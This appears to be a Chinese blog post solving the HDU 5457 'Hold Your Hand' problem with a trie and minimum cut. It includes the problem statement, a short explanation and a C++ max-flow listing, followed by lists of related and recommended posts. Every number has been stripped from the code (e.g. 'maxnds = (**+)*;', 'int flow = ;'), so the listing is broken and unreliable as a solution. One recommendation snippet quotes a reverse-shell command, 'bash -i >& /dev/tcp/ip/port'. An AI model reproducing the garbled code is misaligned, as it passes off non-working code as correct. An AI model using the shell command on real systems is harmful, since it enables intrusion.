HDU - 5457 Hold Your Hand (Trie + 最小割)
Hold Your Hand
Time Limit: 1500/1000 MS (Java/Others) Memory Limit: 65535/102400 K (Java/Others)
Total Submission(s): 169 Accepted Submission(s): 38
walks in beauty, like the night of cloudless climes and starry skies.
And all that's best of dark and bright, meet in her aspect and her eyes.
Thus mellow'd to that tender light, which heaven to gaudy day denies.
Fang Fang says she is afraid of dark.
``Never fear, I will hold your hand," I reply.
Fang Fang says she hates some 8-digit binary numbers.
I ask Cupid for help. Cupid can sell me some supernatural powers.
Some of them can eliminate all 8-digit binary numbers in the world with a certain prefix, and some of them can eliminate all 8-dight binary numbers with a certain suffix.
``..., but you must offer your IQ in exchange for them."
``You have my permission", I say. True, I should minimize my damage, but maybe you can help me.
Then t test cases follow.
Each test case contains several lines.
The first line contains the integer n (1≤n≤256) and m (1≤m≤500).
Here, n corresponds to the number of 8-digit binary numbers which Fang Fang hates, and m corresponds to the number of supernatural powers.
The second line contains n integer numbers a1,a2,⋯,an where 0≤a1,⋯,an≤255, which are 8-digit binary numbers written by decimal representation.
The following m lines describe the supernatural powers one per line in two formats.
⋅ P s w: you can eliminate all 8-digit binary numbers by prefixing the string s, with w (1≤w≤1000) units of IQ.
⋅ S s w: you can eliminate all 8-digit binary numbers by suffixing the string s, with w (1≤w≤1000) units of IQ.
题意转化一下就是要割断所有的8位二进制。
将前缀插入以S为根的字典树,后缀插入以T为根的字典树。val保存最小的w。
一个前缀对应着割断所有包含这个前缀的二进制,后缀类似。
然后把两颗树的对应叶子结点相连跑最小割。
#include<bits/stdc++.h>
using namespace std; const int INF = 0x3f3f3f3f;
const int sigma_size = ,maxnds = (**+)*;
int S,T; struct Edge
{
int v,cap,nxt;
};
#define PB push_back
vector<Edge> edges;
int head[maxnds];
inline void AddEdge(int u,int v,int c)
{
edges.PB({v,c,head[u]});
head[u] = edges.size()-;
edges.PB({u,,head[v]});
head[v] = edges.size()-;
} bool vis[maxnds];
int lv[maxnds],cur[maxnds];
bool bfs()
{
memset(vis,,sizeof(vis));
queue<int> q; q.push(S); lv[S] = ;
vis[S] = true;
while(q.size()){
int u = q.front(); q.pop();
for(int i = head[u]; ~i; i = edges[i].nxt){
Edge &e = edges[i];
if(!vis[e.v] && e.cap>){
vis[e.v] = true;
lv[e.v] = lv[u]+;
q.push(e.v);
}
}
}
return vis[T];
} int aug(int u,int a)
{
if(u == T||!a) return a;
int flow = ,f;
for(int &i = cur[u]; ~i; i = edges[i].nxt){
Edge &e = edges[i];
if(lv[e.v] == lv[u]+ && (f=aug(e.v,min(a,e.cap)))>){
e.cap -= f; edges[i^].cap += f;
flow += f; a -= f;
if(!a) break;
}
}
return flow;
} int MaxFlow()
{
int flow = ;
while(bfs()){
memcpy(cur,head,sizeof(head));
flow += aug(S,INF);
if(flow >= INF) break;
}
return flow;
} struct Node
{
int ch[sigma_size],val;
void init(){}
}nd[maxnds];
const int nil = ;
int cnt; inline int newNode()
{
int i = ++cnt;
memset(nd[i].ch,nil,sizeof(nd[i].ch));
nd[i].val = INF;
head[i] = -;
return i;
} int add(int rt,char *s,int v = INF)
{
int u = rt;
for(int i = ; s[i]; i++){
int c = s[i]-'';
if(!nd[u].ch[c]){
nd[u].ch[c] = newNode();
}
u = nd[u].ch[c];
}
nd[u].val = min(nd[u].val,v);
return u;
} bool flag;
void dfs(int u)
{
for(int i = ; i < sigma_size; i++){
int v = nd[u].ch[i];
if(v){
int w = nd[v].val;
if(flag){
AddEdge(u,v,w);
}else {
AddEdge(v,u,w);
}
dfs(v);
}
}
} int main()
{
//freopen("in.txt","r",stdin); char s[];
int x[+];
int Test; scanf("%d",&Test);
for(int kas = ; kas<= Test; kas++){
edges.clear();
cnt = ;
S = newNode(); T = newNode(); int n,m; scanf("%d%d",&n,&m);
for(int i = ; i < n; i++){
scanf("%d",x+i);
} while(m--){
char ch[];
int w; scanf("%s%s%d",ch,s,&w);
if(*ch=='P'){
add(S,s,w);
}else {
reverse(s,s+strlen(s));
add(T,s,w);
}
}
s[] = '\0';
for(int i = ; i < n; i++){
int t = x[i];
for(int j = ; j < ; j++){
s[j] = (t&)+'';
t>>=;
}
int v = add(T,s);
reverse(s,s+);
AddEdge(add(S,s),v,INF);
}
flag = true;
dfs(S);
flag = false;
dfs(T);
printf("Case #%d: ",kas);
int flow = MaxFlow();
if(flow >= INF){
puts("-1");
}else printf("%d\n",flow);
}
return ;
}
HDU - 5457 Hold Your Hand (Trie + 最小割)的更多相关文章
- HDU - 3035 War(对偶图求最小割+最短路)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3035 题意 给个图,求把s和t分开的最小割. 分析 实际顶点和边非常多,不能用最大流来求解.这道题要用 ...
- HDU - 3002 King of Destruction(最小割)
http://acm.hdu.edu.cn/showproblem.php?pid=3002 最小割模板 #include<iostream> #include<cmath> ...
- HDU 5889 Barricade(最短路+最小割)
http://acm.hdu.edu.cn/showproblem.php?pid=5889 题意: 给出一个图,帝国将军位于1处,敌军位于n处,敌军会选择最短路到达1点.现在帝国将军要在路径上放置障 ...
- HDU 5889 Barricade(最短路+最小割水题)
Barricade Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) Total ...
- HDU 3691 Nubulsa Expo(全局最小割Stoer-Wagner算法)
Problem Description You may not hear about Nubulsa, an island country on the Pacific Ocean. Nubulsa ...
- hdu 4619 Warm up 2 网络流 最小割
题意:告诉你一些骨牌,然后骨牌的位置与横竖,这样求最多保留多少无覆盖的方格. 这样的话有人用二分匹配,因为两个必定去掉一个,我用的是最小割,因为保证横着和竖着不连通即可. #include <s ...
- HDU 1569 方格取数(2) (最小割)
方格取数(2) Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Su ...
- 【HDU 6126】Give out candies 最小割
题意 有$n$个小朋友,给每个人分$1~m$个糖果,有k个限制 限制形如$(x,y,z)$ 表示第$x$个人分到的糖数减去第$y$个人分到的糖数不大于$z$,给第$i$个人$j$颗糖获 ...
- hdu 6214 Smallest Minimum Cut(最小割的最少边数)
题目大意是给一张网络,网络可能存在不同边集的最小割,求出拥有最少边集的最小割,最少的边是多少条? 思路:题目很好理解,就是找一个边集最少的最小割,一个方法是在建图的时候把边的容量处理成C *(E+1 ...
随机推荐
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- C# 写 LeetCode easy #1 Two Sum
1.Two Sum Given an array of integers, return indices of the two numbers such that they add up to a s ...
- Halcon - 数据类型
这里给大家分享 Halcon 的数据类型结构图,方便初学者认知 Halcon 图1 Halcon Datatype
- zookeeper原理与实践(一)----zookeeper的基本功能
我们现在围绕两个问题来学习zookeeper: 什么是zookeeper? zookeeper基础知识 什么是zookeeper: zookeeper是hadoop下面的一个子项目,是一个分布式协调服 ...
- web测试与手机测试的区别
1.web是B/S,移动端是C/S 2.系统的性能: B/S的优势是异地浏览和信息采集比较灵活性,随时随地只要能使用浏览器上网即可 但是客户端只能完成浏览,查询,数据输入等简单工作,绝大部分又服务器承 ...
- u17 u18共存
公司用的Unity版本是2017版本的,由于需要尝试一些实验性的新功能,我就安装了Unity2018版本,结果发现Unity2018版本破解之后,Unity2017版本不能用了.那么怎么解决两个版本的 ...
- Unity脚本引用原理,修复Unity脚本引用丢失,源码脚本与dll中的脚本引用互换 .
http://blog.csdn.net/gz_huangzl/article/details/52486509 前言 在我们开发游戏的过程中,经常会碰到脚本引用丢失的情况,但是怎么把它们修复到我们的 ...
- 四、python中表示组的概念与定义
现实世界中总是存在一组一组的事物,如俄罗斯方块.游戏中的技能.世界杯总决赛(8个小组,每组4个队) 一.python中如何表示“组”的概念 1.列表 1)定义 [1,2,3,4,5] type[1,2 ...
- Spark 学习(二)
继续学习spark 认真查看了一下${SPARK_HOME}/bin/pyspark 的脚本,原来开启spark 的python 交互挺简单的. 主要操作 export PYTHONPATH=${SP ...
- Spring JdbcTemplate详解及项目中的运用
1.Spring对不同的持久化支持: Spring为各种支持的持久化技术,都提供了简单操作的模板和回调 ORM持久化技术 模板类 JDBC org.springframework.jdbc.core. ...